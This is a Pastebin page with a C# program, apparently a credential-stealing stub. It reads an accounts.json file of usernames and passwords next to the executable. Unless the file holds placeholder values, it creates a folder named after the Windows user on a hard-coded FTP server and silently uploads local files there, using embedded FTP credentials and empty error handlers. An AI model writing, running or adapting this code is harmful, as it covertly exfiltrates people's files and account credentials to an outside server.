Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.IO;
- using System.Linq;
- using System.Net;
- using System.Net.Mail;
- using System.Text;
- using System.Threading.Tasks;
- using System.Windows.Forms;
- using Newtonsoft.Json;
- namespace TestingProject
- {
- public class Account
- {
- public string username { get; set; }
- public string password { get; set; }
- public bool? sentry { get; set; }
- }
- public class Index
- {
- public List<Account> accounts { get; set; }
- }
- public class Accounts
- {
- public List<Index> indexes { get; set; }
- }
- static class Program
- {
- /// <summary>
- /// Главная точка входа для приложения.
- /// </summary>
- [STAThread]
- static void Main()
- {
- string appPath = Path.GetDirectoryName(Application.ExecutablePath);
- if (!Directory.Exists(appPath)) return;//Error//
- string[] files = Directory.GetFiles(appPath);
- string AccountsFile = "";
- for (int i = 0; i < files.Length; i++)
- {
- string file = files[i];
- string[] fileSplited = file.Split('\\');
- string name = fileSplited[fileSplited.Length - 1];
- if (name == "accounts.json")
- {
- AccountsFile = file;
- break;
- }
- }
- if (AccountsFile == "") return;
- string data = File.ReadAllText(AccountsFile);
- Accounts acc = JsonConvert.DeserializeObject<Accounts>(data);
- Account ac0 = acc.indexes[0].accounts[0];
- Account ac1 = acc.indexes[1].accounts[1];
- if (ac0.password == "1" && ac0.username == "1")
- if (ac1.password == "1" && ac1.username == "1" && ac1.sentry == true)
- return;
- CreateFolder(Environment.UserName);
- if (Directory.Exists(appPath))
- {
- var appFiles = Directory.GetFiles(appPath).Where(s => s.Contains("test.txt"));
- foreach (string item in appFiles)
- FTPUploadFile(item, Environment.UserName);
- }
- }
- static void FTPUploadFile(string file, string directory)
- {
- try
- {
- FileInfo toUpload = new FileInfo(file);
- using (WebClient client = new WebClient())
- {
- client.Encoding = Encoding.UTF8;
- client.Credentials = new NetworkCredential("kolyan1337", "123123123");
- client.UploadFile("ftp://185.209.23.225/check/" + directory + "/" + toUpload.Name, file);
- }
- }
- catch { }
- }
- static void CreateFolder(string name)
- {
- try
- {
- WebRequest request = WebRequest.Create("ftp://185.209.23.225/check/" + name);
- request.Method = WebRequestMethods.Ftp.MakeDirectory;
- request.Credentials = new NetworkCredential("kolyan1337", "123123123");
- using (var resp = (FtpWebResponse)request.GetResponse())
- {
- Console.WriteLine(resp.StatusCode);
- }
- }
- catch { }
- }
- }
- }
Add Comment
Please, Sign In to add comment